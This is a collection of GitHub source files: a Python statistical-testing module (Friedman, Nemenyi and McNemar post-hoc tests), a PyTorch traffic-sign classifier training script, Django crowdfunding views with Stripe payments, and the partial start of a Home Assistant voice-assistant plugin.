\n\"\"\"\n\nparas = \\\n\"\"\"
%(key)s
\n
%(value)s
\n\"\"\"\n\nresult = \\\n\"\"\"
%(key)s
\n
%(value)s
\n\"\"\"\n\nfig = \\\n\"\"\"\n
图片已存储为 %(path)s
\n
%(path)s
\n\"\"\"\nimport pandas as pd\nimport numpy\nclass Template:\n\n def __init__(self):\n self.out = \"\"\n self.stat = \"\"\n self.keys ={}\n\n def get(self):\n # with open(\"test.html\",\"w\",encoding=\"utf-8\") as outfile:\n # outfile.write(self.out)\n return self.out\n\n def add(self, desc, para, ans = None):\n self.keys.clear()\n self.keys.setdefault(\"head\",desc[\"detail\"])\n self.keys.setdefault(\"desc\",desc[\"brief\"])\n self.keys.setdefault(\"s_time\",desc[\"start_time\"].toString(\"HH:mm:ss.zzz\"))\n self.keys.setdefault(\"e_time\",desc[\"finish_time\"].toString(\"HH:mm:ss.zzz\"))\n\n self.keys.setdefault(\"duration\",self.get_duration(desc[\"start_time\"],desc[\"finish_time\"]))\n self.keys.setdefault(\"parameters\", self.update_para(para))\n self.keys.setdefault(\"result\", self.update_ans(desc,ans))\n\n self.stat += static %self.keys\n self.out = tmp % dict(static = self.stat)\n\n def update_para(self,para):\n p = \"\"\n for k in para:\n if type(para[k]) == pd.core.frame.DataFrame:\n temp = paras % dict(key = k, value = \"type(DataFrame)\")\n else:\n temp = paras % dict(key=k, value=para[k])\n p += temp\n return p\n\n def update_ans(self, desc, ans):\n if ans is None:\n return fig % dict(path = desc[\"path\"])\n elif type(ans) is pd.core.frame.DataFrame:\n from tabulate import tabulate\n return tabulate(ans, headers=\"keys\", showindex=False, floatfmt=\".3f\",tablefmt=\"html\")\n elif type(ans) is float or type(ans) is numpy.float64:\n return str(round(ans,3))\n else:\n # 多个dataframe 如何处理 ch2——independent\n\n return str(ans)\n\n def get_duration(self,s,e):\n duration = s.msecsTo(e)\n h = int(duration/(3600 *1000))\n m = int((duration - h*3600*1000)/(60*1000))\n s = int((duration - h*3600*1000 - m*60*1000)/1000)\n ms = int(duration%1000)\n duration = \"%s:%s:%s.%s\" %(str(h).zfill(2),str(m).zfill(2),str(s).zfill(2),str(ms).zfill(3))\n return duration\n\n\n\nif __name__ == \"__main__\":\n t= Template()\n t.get()","repo_name":"xfz329/FeatureAnalyzer","sub_path":"template/output_template.py","file_name":"output_template.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4331054856","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport pandas as pd\nimport numpy as np\n\nimport scipy as sp\nimport scipy.stats as st\nimport itertools as it\n\n# Nemenyi post-hoc \nfrom statsmodels.stats.libqsturng import qsturng, psturng\n\n# Cochran's Q, McNemar post-hoc \nfrom mlxtend.evaluate import mcnemar_table, mcnemar, cochrans_q\nfrom sklearn.preprocessing import LabelEncoder\n\n####\n\n## run_friedman(indf, alpha=0.05):\n# Wrapper for friedman_test() from stac library\n# https://tec.citius.usc.es/stac/doc/\n#\n# Parameters\n# ----------\n# indf : pd.Dataframe\n# The sample measurements for each group\n# alpha : float, default = 0.05\n# Significance threshold\n#\n# Returns\n# -------\n# sig : boolean\n# Reject H0? \n# rptstr : String\n# Accept or Reject H0 \n# rankdic : dict\n# dict of 'pivotal quantities' for the post-hoc tests\n# avg_ranks : dict\n# dict of average ranks for analysis after the post-hoc tests\n\n\n## ph_pvals(ranks,control=None,nmyi=False,shaf=False):\n# Post-Hoc p_values adjusted for multiple testing \n#\n# Parameters\n# ----------\n# ranks : dict\n# A dict with format 'groupname':'pivotal quantity' \n# returned from Freidman test (rankdic)\n# control : string, default = None\n# 'groupname' for one-to-all (control group) comparisons\n# default is all-vs-all comparison\n# nmyi : Boolean, default = False\n# Run the Nemenyi test\n# Note: nemenyi_test is not appropriate for one.vs.all\n# shaf : Boolean, default = False\n# Run the Schaffer_static_test\n# Note: schaffer_static uses a recursive call; this causes\n# internal python multithreading to go wildly oversubscribed\n# when there are more than 18 classfiers to compare\n#\n# Returns\n# ----------\n# pd.Dataframe with adjusted p_values from various methods\n# -- default (nmyi==shaf==False) --\n# p_noadj : no adjustment for multiple testing\n# ap_BDun : Bonferroni-Dunn (single-step)\n# ap_Sdak : Sidak (single-step)\n# ap_Holm : Holm (step-down)\n# ap_Finr : Finner (step-down)\n# ap_Hoch : Hochberg (step-up)\n# ap_Li : Li (step-up)\n# -- Nemenyi test (nmyi=True) --\n# ap_Nymi : Nemenyi (single-step)\n# ap_BDun : Bonferroni-Dunn\n# ap_Sdak : Sidak \n# -- Schaffer test (shaf=True) --\n# ap_Shaf : Schaffer static (step-down)\n# ap_Holm : Holm \n# ap_Finr : Finner\n\n\n## cq_mph(y_test,clf_preds,cq=True,control=None,alpha=0.05):\n# Cochrans_Q omnibus, McNemar post-hoc\n# requires mlxtend.evaluate\n#\n# Parameters\n# ----------\n# y_test: array-like, shape=[n_samples]\n# True class labels as 1D NumPy array.\n# clf_preds : nested list, len=number of classifiers\n# clf_preds[n][0] : classifier name (string)\n# clf_preds[n][1] : array, shape=[n_samples] \n# predicted class labels\n# cq : Boolean, default = True\n# Run the Cochrans_Q omnibus test\n# control : string, default = None\n# classifier name for one-to-all (control group) \n# post-hoc comparisons\n# default is all-vs-all comparison\n# alpha : float, default = 0.05\n# Significance threshold\n#\n# Returns\n# ----------\n# pd.Dataframe with adjusted p_values for various tests\n# -- ph_pvals default --\n\n\n# filtr_ap2h0(indf, alpha=0.05):\n# Converts dataframe returned by ph_pvals() or cq_mph()\n# from adjusted p_values to T/F for null hypothesis\n#\n# Parameters\n# ----------\n# indf : pd.Dataframe\n# Dataframe returned by ph_pvals() or cq_mph()\n# alpha : float, default = 0.05\n# Significance threshold\n#\n# Returns\n# -------\n# pd.Dataframe with T/F for null hypothesis\n\n\n# filtr_psig(indf, alpha=0.05):\n# Reduces dataframe returned by ph_pvals() or cq_mph()\n# to have only p_noadj < alpha\n#\n# Parameters\n# ----------\n# indf : pd.Dataframe\n# Dataframe returned by ph_pvals() or cq_mph()\n# alpha : float, default = 0.05\n# Significance threshold\n#\n# Returns\n# -------\n# pd.Dataframe with selected rows\n\n\n# compare_avgranks(indf, avg_ranks, alpha=0.05):\n# For analysis: avg_ranks from the Freidman test\n#\n# Parameters\n# ----------\n# indf : pd.Dataframe\n# Dataframe returned by ph_pvals() or cq_mph()\n# avg_ranks : dict\n# dict returned by run_freidman()\n# alpha : float, default = 0.05\n# Significance threshold\n#\n# Returns\n# -------\n# list sorted by first field\n\n\n# compare_avgranks_lf(cmp):\n# For analysis: resort list from compare_avgranks()\n#\n# Parameters\n# ----------\n# cmp : list\n# list returned by compare_avgranks()\n#\n# Returns\n# -------\n# list sorted by last field\n\n\n# sort_dict_byval(indd, rev=False):\n# sort dict by value (dict comprehension)\n#\n# Parameters\n# ----------\n# indd : dict\n# intended for string/scalar values ...\n# rev : Boolean, default = False\n# True: highest to lowest\n#\n# Returns\n# -------\n# dict\n\n\n####\n\n\n# Friedman mean ranks test\ndef friedman_test(*args):\n\n k = len(args)\n if k < 2: raise ValueError('Less than 2 levels')\n n = len(args[0])\n if len(set([len(v) for v in args])) != 1: raise ValueError('Unequal number of samples')\n\n rankings = []\n for i in range(n):\n row = [col[i] for col in args]\n row_sort = sorted(row)\n rankings.append([row_sort.index(v) + 1 + (row_sort.count(v)-1)/2. for v in row])\n\n# used here for chisq\n rankings_avg = [np.mean([case[j] for case in rankings]) for j in range(k)]\n\n# used in post-hocs to calculate z_value\n rankings_cmp = [r/np.sqrt(k*(k+1)/(6.*n)) for r in rankings_avg]\n\n chi2 = ((12*n)/float((k*(k+1))))*((sum(r**2 for r in rankings_avg))-((k*(k+1)**2)/float(4)))\n\n iman_davenport = ((n-1)*chi2)/float((n*(k-1)-chi2))\n\n p_value = 1 - st.f.cdf(iman_davenport, k-1, (k-1)*(n-1))\n\n return iman_davenport, p_value, rankings_avg, rankings_cmp\n\n\ndef run_friedman(indf, alpha=0.05):\n# requires data where the rows are classifiers and the columns are datasets \n data = np.asarray(indf)\n f, p, ranks, piv = friedman_test(*np.transpose(data))\n\n# post-hocs require a dict of 'pivotal values' from the Friedman test \n rankdic = {key: piv[i] for i, key in enumerate(list(indf.columns))} \n\n# analysis can use the dict of average ranks from the Friedman test \n avg_ranks = {key: ranks[i] for i, key in enumerate(list(indf.columns))} \n\n sig = p <= alpha\n rptstr = \"Freidman Test\\n\"\n rptstr += \"H0: there is no difference in the means at the \"\n rptstr += str((1-alpha)*100) + \"% confidence level \\n\"\n\n if sig:\n rptstr += \"Reject: Ready to continue with post-hoc tests\"\n else:\n rptstr += \"Accept: No need for post-hoc tests\"\n\n return sig, rptstr, rankdic, avg_ranks\n\n\n# Post-hoc tests use a dict of 'pivotal quantities' from Freidman test\n# (see above)\n# rankings_cmp = [r/np.sqrt(k*(k+1)/(6.*n)) \n# for r in rankings_avg]\n# rankdic = {key: rankings_cmp[i] \n# for i, key in enumerate(list(indf.columns))} \n\ndef ph_pvals(ranks,control=None,nmyi=False,shaf=False):\n\n if control is not None and nmyi:\n print(\"Exception: Nemenyi_test is only appropriate for all.vs.all\")\n ret_df = pd.DataFrame({\"nym_t\": 1, \n \"rejH0\": False},\n index=['Error'])\n return ret_df\n \n k = len(ranks)\n\n values = list(ranks.values())\n keys = list(ranks.keys())\n\n if control is not None:\n control_i = keys.index(control)\n comparisons = [keys[control_i] + \" // \" + keys[i] for i in range(k) if i != control_i]\n z_values = [abs(values[control_i] - values[i]) for i in range(k) if i != control_i]\n else:\n versus = list(it.combinations(range(k), 2))\n comparisons = [keys[vs[0]] + \" // \" + keys[vs[1]] for vs in versus]\n z_values = [abs(values[vs[0]] - values[vs[1]]) for vs in versus]\n \n p_values = [2*(1-st.norm.cdf(abs(z))) for z in z_values]\n\n# Sort by p_value so that p_0 < p_1, and make_df\n p_values, z_values, comparisons = map(list, zip(*sorted(zip(p_values, z_values, comparisons), key=lambda t: t[0])))\n\n if nmyi:\n return mkdf(comparisons, p_values, nymt=z_values)\n else:\n return mkdf(comparisons, p_values, tj=shaf)\n\n\n# make dataframes to return from post-hocs\ndef mkdf(avsb, p_vals, nymt=None, tj=False):\n\n# k=len(ranks)\n# split back to list from rankings\n qq=[]\n for e in range(len(avsb)):\n tmp=avsb[e].split()\n qq.append(tmp[0])\n qq.append(tmp[2])\n ranks = list(set(qq))\n k=len(ranks)\n\n# properly, m = int(k*(k-1)/2.) where k=len(ranks) == len(p_values)\n# len(p_vals) also works for control group tests (k-1)\n\n n = len(p_vals)\n\n print(\"Classifiers:\",k,\" Tests:\",n)\n\n bdun_adj = [min((n)*p_value, 1) \n for p_value in p_vals]\n\n sidk_adj = [min(1-(1-p_value)**(n), 1) \n for p_value in p_vals]\n\n holm_adj = [min(max((n-j)*p_vals[j] \n for j in range(i+1)), 1) \n for i in range(n)]\n\n finr_adj = [min(max(1-(1-p_vals[j])**(n/float(j+1)) \n for j in range(i+1)), 1) \n for i in range(n)]\n\n hoch_adj = [min((n-j+1)*p_vals[j-1]\n for j in range(n, i, -1)) \n for i in range(n)]\n\n li_adjpv = [p_vals[i]/(p_vals[i]+1-p_vals[-1]) \n for i in range(n)]\n\n## -- nemenyi_test -- ## \n# t-values are compared with the significance level: \n# AGREES WITH CD METHOD \n# psturng() return values are 'array-like' \n# {strange: some float, some [float]}\n\n if nymt is not None:\n t_values = [psturng((nymt[z] * np.sqrt(2.)), k, np.inf) for z in range(len(nymt))]\n# normalise\n for p in range(len(t_values)):\n if isinstance(t_values[p], np.ndarray):\n t_values[p] = t_values[p][0]\n\n ret_df = pd.DataFrame({\"p_noadj\": p_vals,\n \"ap_Nymi\": t_values, \n \"ap_BDun\": bdun_adj,\n \"ap_Sdak\": sidk_adj},\n index=avsb)\n return ret_df\n\n## -- shaffer_static -- ##\n## internal python multithreading goes wildly oversubscribed\n## when there are more than 18 classfiers to compare\n\n if tj:\n A = _S(int((1 + np.sqrt(1+4*n*2))/2)) # call recursive \n t = [max([a for a in A if a <= n-i]) for i in range(n)]\n\n shaf_adj = [min(max(t[j]*p_vals[j] \n for j in range(i+1)), 1) \n for i in range(n)]\n\n ret_df = pd.DataFrame({\"p_noadj\": p_vals,\n \"ap_Shaf\": shaf_adj,\n \"ap_Holm\": holm_adj,\n \"ap_Finr\": finr_adj},\n index=avsb)\n return ret_df\n\n##-- general case (e.g., mcnemar) --##\n ret_df = pd.DataFrame({\"p_noadj\": p_vals,\n \"ap_BDun\": bdun_adj,\n \"ap_Sdak\": sidk_adj,\n \"ap_Holm\": holm_adj,\n \"ap_Finr\": finr_adj,\n \"ap_Hoch\": hoch_adj,\n \"ap_Li\": li_adjpv},\n index=avsb)\n return ret_df\n\n\n# recursive helper function for the Shaffer (static) test:\n# obtains the number of independent test hypotheses \n# from the number of groups to be compared.\n## internal python multithreading goes wildly oversubscribed\n## when there are more than 18 classfiers to compare\n\ndef _S(k):\n\n if k == 0 or k == 1:\n return {0}\n else:\n result = set()\n\n## recursive - slow for big jobs but hard to parallelise\n## ---------\n for j in reversed(range(1, k+1)):\n tmp = _S(k - j)\n for s in tmp:\n result = result.union({sp.special.binom(j, 2) + s})\n## ---------\n return list(result)\n\n\n# convert p_values to H0 T/F\ndef filtr_ap2h0(indf, alpha=0.05):\n hodf = indf.copy()\n# -- nemenyi_df -- #\n hodf.drop(['lookup'], axis=1, inplace=True, errors='ignore')\n# -- -- #\n hodf.columns = hodf.columns.str.replace('ap_', 'H0: ')\n hodf = (hodf>alpha)\n return hodf\n\n\ndef filtr_psig(indf, alpha=0.05):\n if 'p_noadj' not in indf.columns:\n print(\"Error: Requires dataframe from ph_pvals() or cq_mph()\")\n ret_df = pd.DataFrame({\"Required\": 'p_noadj'},\n index=['Error'])\n return ret_df \n \n pvals_df = indf.loc[indf['p_noadj'] < alpha]\n# avsb\n az = pvals_df.index.values.tolist()\n# pvals\n psg = list(pvals_df['p_noadj'])\n\n# not sig - for analysis\n rz = indf.index.values.tolist()\n sx = [x for x in rz if x not in az]\n print(\"Significant:\",len(az),\" Not:\",len(sx)) \n\n shaf = True if 'ap_Shaf' in pvals_df.columns else False \n\n if 'ap_Nymi' in pvals_df.columns:\n print(\"Exception: Nemenyi_test is only appropriate for all.vs.all\")\n print(\" Returning standard tests\")\n\n return mkdf(az, psg, tj=shaf)\n\n\ndef compare_avgranks(indf, avg_ranks, alpha=0.05):\n if 'p_noadj' not in indf.columns:\n print(\"Error: Requires dataframe from ph_pvals()\")\n ret_df = pd.DataFrame({\"Required\": 'p_noadj'},\n index=['Error'])\n return ret_df \n \n pz = indf.index.values.tolist()\n cmp = []\n for c in range(len(pz)):\n bb=pz[c].split()\n if avg_ranks[bb[0]] > avg_ranks[bb[2]]:\n rnx=bb[2]+' '+str(avg_ranks[bb[2]])+' // '+str(avg_ranks[bb[0]])+' '+bb[0]\n else:\n rnx=bb[0]+' '+str(avg_ranks[bb[0]])+' // '+str(avg_ranks[bb[2]])+' '+bb[2]\n cmp.append(rnx)\n \n print(\"Note: differences Down the Columns are NOT significant\")\n print(\" only differences Across the Rows ARE significant\")\n return sorted(cmp)\n\n\ndef compare_avgranks_lf(cmp):\n print(\"sorted by last field\")\n return sorted(cmp, key=lambda t: t.split()[4])\n\n\ndef sort_dict_byval(indd, rev=False):\n# sort by value (dict comprehension)\n if rev:\n retd = {x: v for v, x in sorted(((value, key) for (key, value) in indd.items()), reverse=True)}\n else:\n retd = {x: v for v, x in sorted((value, key) for (key, value) in indd.items())}\n return retd\n\n\n# Cochran's Q omnibus test with McNemar post-hoc \ndef cq_mph(y_test,clf_preds,cq=True,control=None,alpha=0.05):\n\n# test for numeric labels\n if not isinstance(y_test[0],(int,np.integer)):\n ynum = LabelEncoder().fit_transform(y_test)\n else:\n ynum = y_test\n\n rnoms = []\n rvals = []\n for r in range(len(clf_preds)):\n rnoms.append(clf_preds[r][0])\n\n if not(isinstance(clf_preds[0][1][0],(int,np.integer))): \n rvals.append(LabelEncoder().fit_transform(clf_preds[r][1]))\n else:\n rvals.append(clf_preds[r][1])\n\n if control is not None:\n ndx = [i for i in range(len(rnoms)) if rnoms[i] == control]\n if len(ndx) != 1:\n print('Error: Control Name not found',ndx)\n ret_df = pd.DataFrame({\"Control\": 1,\n \"rejH0\": False},\n index=['Error'])\n return ret_df \n else:\n control_i = ndx[0]\n\n## omnibus test ## \n# unpack the list with *arg\n if cq:\n qval, pv = cochrans_q(ynum,*rvals)\n print('Cochran Q Test:',rnoms)\n print('\\tp_value =', round(pv,3), 'and ChiSquare =', round(qval,3),\"\\n\")\n rptstr = \"H0: there is no difference in performance at the \"\n rptstr += str((1-alpha)*100) + \"% confidence level\\n\\t\"\n\n if pv > alpha:\n rptstr += \"Accept - No need for post-hoc tests\\n\"\n print(rptstr)\n ret_df = pd.DataFrame({\"p\": round(pv,3), \n \"rejH0\": False},\n index=['CochranQ'])\n return ret_df\n else:\n rptstr += \"Reject - Continuing with post-hoc tests\\n\"\n print(rptstr)\n\n## post-hoc ## \n if control is not None: \n comparisons = [rnoms[control_i] + \" // \" + rnoms[i] for i in range(len(rnoms)) if i != control_i]\n pred_values = [ [ rvals[control_i], rvals[i] ] for i in range(len(rvals)) if i != control_i ]\n else:\n versus = list(it.combinations(range(len(rvals)), 2))\n comparisons = [rnoms[vs[0]] + \" // \" + rnoms[vs[1]] for vs in versus]\n pred_values = [ [ rvals[vs[0]], rvals[vs[1]] ] for vs in versus ]\n\n p_values = []\n for r in range(len(pred_values)):\n chisq, pv = mcnemar(mcnemar_table(ynum, *pred_values[r]))\n p_values.append(pv)\n\n# Sort values by p_value so that p_0 < p_1\n p_values, comparisons = map(list, zip(*sorted(zip(p_values, comparisons), key=lambda t: t[0]))) \n\n return mkdf(comparisons, p_values)\n\n\n\n","repo_name":"tomas-o-dev/P-Hacking","sub_path":"P_HAKN/p_hacking.py","file_name":"p_hacking.py","file_ext":"py","file_size_in_byte":16664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7684303949","text":"import os\nimport torch\nimport torch.nn as nn\nfrom torchvision import transforms\nfrom torchvision.models import resnet50\nfrom torchvision.datasets import ImageFolder\nfrom torch.utils.data import DataLoader\nimport torch.optim as optim\nfrom model import Model\n\npath = './LISA'\n\ntransform = transforms.Compose([\n transforms.Resize(size = (32,32)),\n transforms.ToTensor(),\n ])\n\ntrainset = ImageFolder(os.path.join(path, 'train'), transform)\nprint('trainset: %d' % len(trainset))\nvalset = ImageFolder(os.path.join(path, 'val'), transform)\nprint('valset: %d' % len(valset))\ntestset = ImageFolder(os.path.join(path, 'test'), transform)\nprint('testset: %d' % len(testset))\n\ntrainloader = DataLoader(trainset, batch_size = 128, shuffle = True)\nvalloader = DataLoader(valset, batch_size = 128, shuffle = False)\ntestloader = DataLoader(testset, batch_size = 128, shuffle = False)\n\nmodel = Model()\n\nfor epoch in range(1, 31):\n accuracy, loss = 0, 0\n for i, data in enumerate(trainloader):\n input, label = data\n model.set_input(input, label)\n model.optimizer()\n temp_accuracy, temp_loss = model.get_current_error()\n accuracy, loss = accuracy+temp_accuracy, loss+temp_loss\n if i%5 == 0:\n model.print(epoch, i, len(trainloader))\n print('Epoch: %d Average_Accuracy: %.3f Average_Train_loss: %.3f' % (epoch, \n (accuracy/len(trainloader)), \n (loss/len(trainloader)))) \n model.save_net()\n print('Saving network...') \n if epoch%10 == 0:\n model.update_learning_rate(0.1)\n\n#val\naccuracy, loss = 0, 0\nfor _, data in enumerate(valloader):\n input, label = data\n model.set_input(input, label)\n model.test(pretrained = True)\n temp_accuracy, temp_loss = model.get_current_error()\n accuracy, loss = accuracy+temp_accuracy, loss+temp_loss\nprint('val_Accuracy: %.3f val_loss: %.3f' % ( accuracy/len(valloader), \n loss/len(valloader)))\n\n#test\naccuracy, loss = 0, 0\nfor i, data in enumerate(testloader):\n input, label = data\n model.set_input(input, label)\n model.test(pretrained = True)\n temp_accuracy, temp_loss = model.get_current_error()\n accuracy, loss = accuracy+temp_accuracy, loss+temp_loss\n\nprint('test_Accuracy: %.3f Test_loss: %.3f' % (accuracy/len(testloader), \n loss/len(testloader)))\n","repo_name":"COMP6248-Reproducability-Challenge/DEFENDING-AGAINST-PHYSICALLY-REALIZABLE-ATTACKS-ON-IMAGE-CLASSIFICATION","sub_path":"Sign/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25636976649","text":"import json\nfrom datetime import date, timedelta\n\nfrom django.http import HttpResponse\nfrom django.utils.crypto import get_random_string\nfrom django.shortcuts import render\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.views.decorators.http import require_POST\nfrom crowdfunding.models import CrowdFund, PredefinedAmount, ProductFeature\nfrom landing.models import OgTagLink\nfrom landing.forms import GlobalOgTagForm\nfrom crowdfunding.forms import PaymentForm, AdminForm, PredefinedAmountForm,\\\n ProductFeatureForm, CardsVideoForm, CardsImageForm\nfrom stripepayment.utils import StripePayment\nfrom stripepayment.models import Payment\n\n# Create your views here.\n\n\ndef index(request):\n percent_raised = 0\n default_amount = 20\n ogtag = None\n crowdfund_ogtag = OgTagLink.objects.filter(\n page='crowdfunding').order_by('-id')\n if crowdfund_ogtag:\n ogtag = crowdfund_ogtag[0].globalogtag\n try:\n crowdfund = CrowdFund.objects.latest()\n damount = crowdfund.predefinedamount_set.filter(default=True)\n if len(damount):\n default_amount = damount[0].amount\n if crowdfund.raised:\n percent_raised = int((crowdfund.raised * 100.0) / crowdfund.goal)\n except ObjectDoesNotExist:\n crowdfund = None\n context = {\n 'crowdfund': crowdfund,\n 'percent_raised': percent_raised,\n 'default_amount': default_amount,\n 'ogtag': ogtag\n }\n if request.user.is_authenticated():\n return render(\n request,\n 'crowdfunding/index.html',\n context=context\n )\n return render(\n request,\n 'crowdfunding/public_index.html',\n context=context\n )\n\n\n@require_POST\ndef accept_payment(request):\n form = PaymentForm(request.POST)\n if form.is_valid():\n if request.user.is_authenticated():\n stripepayment = StripePayment(\n user=request.user, fullname=request.user.get_full_name())\n elif request.POST['fullname']:\n stripepayment = StripePayment(fullname=request.POST['fullname'])\n else:\n stripepayment = StripePayment()\n payment_success = stripepayment.process_payment(\n token=request.POST['stripeToken'],\n payment_type='crowdfund',\n amount=int(request.POST['amount']),\n message=request.POST['message']\n )\n if payment_success:\n try:\n crowdfund = CrowdFund.objects.latest()\n if crowdfund.raised:\n crowdfund.raised += int(request.POST['amount'])\n else:\n crowdfund.raised = int(request.POST['amount'])\n crowdfund.save()\n except ObjectDoesNotExist:\n pass\n return render(\n request,\n 'crowdfunding/thankyou.html',\n {\n 'crowdfund': crowdfund\n }\n )\n else:\n return HttpResponse(\n json.dumps({\n '__all__': 'Error processing! try again later'\n }),\n status=500\n )\n else:\n return HttpResponse(json.dumps(form.errors), status=500)\n\n\n@user_passes_test(lambda u: u.is_staff)\ndef crowdfund_admin(request):\n form = AdminForm()\n pform = PredefinedAmountForm()\n fform = ProductFeatureForm()\n vform = CardsVideoForm()\n percent_raised = 0\n try:\n crowdfund = CrowdFund.objects.latest()\n form = AdminForm(instance=crowdfund)\n if crowdfund.raised:\n percent_raised = int((crowdfund.raised * 100.0) / crowdfund.goal)\n except ObjectDoesNotExist:\n crowdfund = None\n payments = Payment.objects.filter(payment_type='crowdfund')\n return render(\n request,\n 'crowdfunding/admin.html',\n {\n 'form': form,\n 'pform': pform,\n 'fform': fform,\n 'vform': vform,\n 'crowdfund': crowdfund,\n 'percent_raised': percent_raised,\n 'payments': payments\n },\n )\n\n\n@user_passes_test(lambda u: u.is_staff)\ndef start_crowdfund(request):\n form = AdminForm()\n return render(\n request,\n 'crowdfunding/update_crowdfund.html',\n {\n 'form': form\n }\n )\n\n\n@user_passes_test(lambda u: u.is_staff)\n@require_POST\ndef update_crowdfund(request):\n form = AdminForm(request.POST)\n try:\n crowdfund = CrowdFund.objects.latest()\n form = AdminForm(request.POST, instance=crowdfund)\n except ObjectDoesNotExist:\n pass\n if form.is_valid():\n form.save()\n return HttpResponse(status=200)\n else:\n return render(\n request,\n 'crowdfunding/update_crowdfund.html',\n {\n 'form': form\n },\n status=500\n )\n\n\n@user_passes_test(lambda u: u.is_staff)\ndef payment_details(request):\n paymentid = request.GET.get('id')\n payment = Payment.objects.get(id=paymentid)\n return render(\n request,\n 'crowdfunding/payment_details.html',\n {\n 'payment': payment\n }\n )\n\n\n@user_passes_test(lambda u: u.is_staff)\n@require_POST\ndef add_predefined_amount(request):\n form = PredefinedAmountForm(request.POST)\n if form.is_valid():\n predefined_amount = form.save(commit=False)\n crowdfund = CrowdFund.objects.latest()\n predefined_amount.crowdfund = crowdfund\n if predefined_amount.default:\n for i in PredefinedAmount.objects.filter(default=True):\n i.default = False\n i.save()\n predefined_amount.save()\n return HttpResponse(status=200)\n else:\n return render(\n request,\n 'crowdfunding/paymentamountform.html',\n {\n 'pform': form\n },\n status=500\n )\n\n\n@user_passes_test(lambda u: u.is_staff)\n@require_POST\ndef add_product_feature(request):\n form = ProductFeatureForm(request.POST)\n if form.is_valid():\n product_feature = form.save(commit=False)\n crowdfund = CrowdFund.objects.latest()\n product_feature.crowdfund = crowdfund\n feature_name = form.cleaned_data.get('name').split()\n product_feature.linked_card = '-'.join(feature_name)\\\n + '-' + get_random_string(allowed_chars='0123456789', length=4)\n product_feature.save()\n return render(\n request,\n 'crowdfunding/product_features_admin.html',\n {\n 'crowdfund': crowdfund\n }\n )\n else:\n return render(\n request,\n 'crowdfunding/productfeatureform.html',\n {\n 'fform': form\n },\n status=500\n )\n\n\n@user_passes_test(lambda u: u.is_staff)\n@require_POST\ndef delete_product_feature(request):\n product_feature = ProductFeature.objects.get(id=request.POST.get('id'))\n product_feature.delete()\n return HttpResponse(status=200)\n\n\n@user_passes_test(lambda u: u.is_staff)\n@require_POST\ndef upload_video(request):\n crowdfund = CrowdFund.objects.latest()\n form = CardsVideoForm(request.POST, request.FILES)\n if form.is_valid():\n cards_video = form.save(commit=False)\n cards_video.crowdfund = crowdfund\n cards_video.save()\n res = {\n 'cover': cards_video.cover.url,\n 'video': cards_video.video.url\n }\n return HttpResponse(json.dumps(res))\n else:\n return render(\n request,\n 'crowdfunding/headervideoform.html',\n {\n 'vform': form\n },\n status=500\n )\n\n\n@user_passes_test(lambda u: u.is_staff)\n@require_POST\ndef upload_image(request):\n crowdfund = CrowdFund.objects.latest()\n form = CardsImageForm(request.POST, request.FILES)\n if form.is_valid():\n cards_image = form.save(commit=False)\n cards_image.crowdfund = crowdfund\n cards_image.save()\n res = {\n 'image': cards_image.image.url\n }\n return HttpResponse(json.dumps(res))\n return HttpResponse()\n\n\n@user_passes_test(lambda u: u.is_staff)\n@require_POST\ndef update_cards_html(request):\n try:\n crowdfund = CrowdFund.objects.latest()\n crowdfund.cards_html = request.POST.get('html')\n crowdfund.admin_cards_html = request.POST.get('admin_html')\n crowdfund.header_html = request.POST.get('header_html')\n crowdfund.save()\n return HttpResponse(status=200)\n except:\n return HttpResponse(status=500)\n\n\n@user_passes_test(lambda u: u.is_staff)\ndef add_meta_tags(request):\n ogtaglink, created = OgTagLink.objects.get_or_create(page='crowdfunding')\n form = GlobalOgTagForm(instance=ogtaglink.globalogtag)\n if request.method == 'POST':\n form = GlobalOgTagForm(request.POST, request.FILES,\n instance=ogtaglink.globalogtag)\n if form.is_valid():\n global_ogtag = form.save()\n ogtaglink.globalogtag = global_ogtag\n ogtaglink.save()\n return HttpResponse(status=200)\n else:\n return render(\n request,\n 'crowdfunding/ogtagform.html',\n {\n 'form': form\n },\n status=500\n )\n return render(\n request,\n 'crowdfunding/ogtagform.html',\n {\n 'form': form\n }\n )\n","repo_name":"nullc0der/ekataplatform","sub_path":"crowdfunding/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38558063404","text":"# -*- coding: utf-8 -*-\nimport json\nimport requests\nfrom collections import OrderedDict\nfrom naomi import plugin\nfrom naomi import profile\n\n\n# The speechhandler plugin represents something that Naomi does\n# in response to a request from the user. This is often a spoken\n# response, but can also be an action like turning on a light or\n# sending an email. It is the functional equivalent of a skill on\n# most other assistant platforms.\n# For details about writing a speech handler, see:\n# https://projectnaomi.com/dev/docs/developer/plugins/speechhandler_plugin.html\nclass SimpleHomeAssistant(plugin.SpeechHandlerPlugin):\n def __init__(self, *args, **kwargs):\n super(SimpleHomeAssistant, self).__init__(*args, **kwargs)\n self.api_token = profile.get([\"SimpleHomeAssistant\", \"api_token\"])\n self.url = profile.get([\"SimpleHomeAssistant\", \"url\"])\n self.light = {}\n for light in profile.get([\"SimpleHomeAssistant\", \"light\"]):\n self.light[light['name']] = light['id']\n\n def settings(self):\n _ = self.gettext\n return OrderedDict(\n [\n (\n (\"SimpleHomeAssistant\", \"api_token\"), {\n \"title\": _(\"HomeAssistant Long-Lived Access Token\"),\n \"description\": _(\"You can generate a long-lived access token in HomeAssistant at the bottom of your profile page.\")\n }\n ), (\n (\"SimpleHomeAssistant\", \"url\"), {\n \"title\": _(\"URL of your home assistant\"),\n \"description\": _(\"The URL of your home assistant is usually something like http://homeassistant.local:8123\")\n }\n ), (\n (\"SimpleHomeAssistant\", \"light\"), {\n \"type\": \"array\",\n \"each\": [\n (\n (\"id\",), {\n \"title\": _(\"ID of your light\"),\n \"description\": _(\"The ID of your light from HomeAssistant\")\n }\n ),\n (\n (\"name\",), {\n \"title\": _(\"Name of your light\"),\n \"description\": _(\"The name you would like to use to refer to 